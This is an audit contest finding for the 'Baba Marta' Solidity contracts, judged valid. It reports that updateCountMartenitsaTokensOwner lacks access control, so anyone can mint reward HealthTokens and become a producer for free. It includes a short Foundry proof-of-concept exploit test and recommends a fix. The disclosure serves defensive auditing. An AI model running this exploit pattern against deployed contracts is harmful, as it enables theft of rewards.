First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

AnyOne can be the Producer for free and Get unlimited HealthToken

kkontheway

Summary

Any one can be the producer, and get unlimited HealthToken

Vulnerability Details

The producer should be defined when owner deploy the contract. But in MartenitsaEvent, if you have one healthToken, You can be the Producer.
Normally, User need to buy at least 3 MartenitsaToken to get 1 HealthToken, but in MartenitsaToken::updateCountMartenitsaTokensOwner():

function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}

it's an external function and no access control, we can just call and it will increase our countMartenitsaTokensOwner, we can get get MartenitsaToken for free. and then we call the MartenitsaMarketplace::collectReward() we can get one healthToken.

At last, we can join the event and be producer be free.

POC

function testExploit() public {
vm.startPrank(chasy);
martenitsaToken.createMartenitsa("bracelet");
marketplace.listMartenitsaForSale(0, 1 wei);
vm.stopPrank();
vm.prank(chasy);
martenitsaToken.approve(address(marketplace), 0);
vm.stopPrank();
​
vm.prank(bob);
//marketplace.buyMartenitsa{value: 1 wei}(0);
martenitsaToken.updateCountMartenitsaTokensOwner(address(bob), "add");
​
martenitsaToken.updateCountMartenitsaTokensOwner(address(bob), "add");
martenitsaToken.updateCountMartenitsaTokensOwner(address(bob), "add");
//assert(martenitsaToken.ownerOf(0) == bob);
assert(martenitsaToken.getCountMartenitsaTokensOwner(bob) == 3);
testCollectReward();
}
​
function testCollectReward() public {
vm.startPrank(bob);
marketplace.collectReward();
vm.stopPrank();
assert(healthToken.balanceOf(bob) == 10 ** 18);
}

Impact

unlimited increase balanceOf(MartenitsaTokens) and become producer for free.

Tools Used

Manual review, Foundry.

Recommendations

Maybe add access control on MartenitsaToken::updateCountMartenitsaTokensOwner, like only can be called by address(MartenitsaMarketplace)

​
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.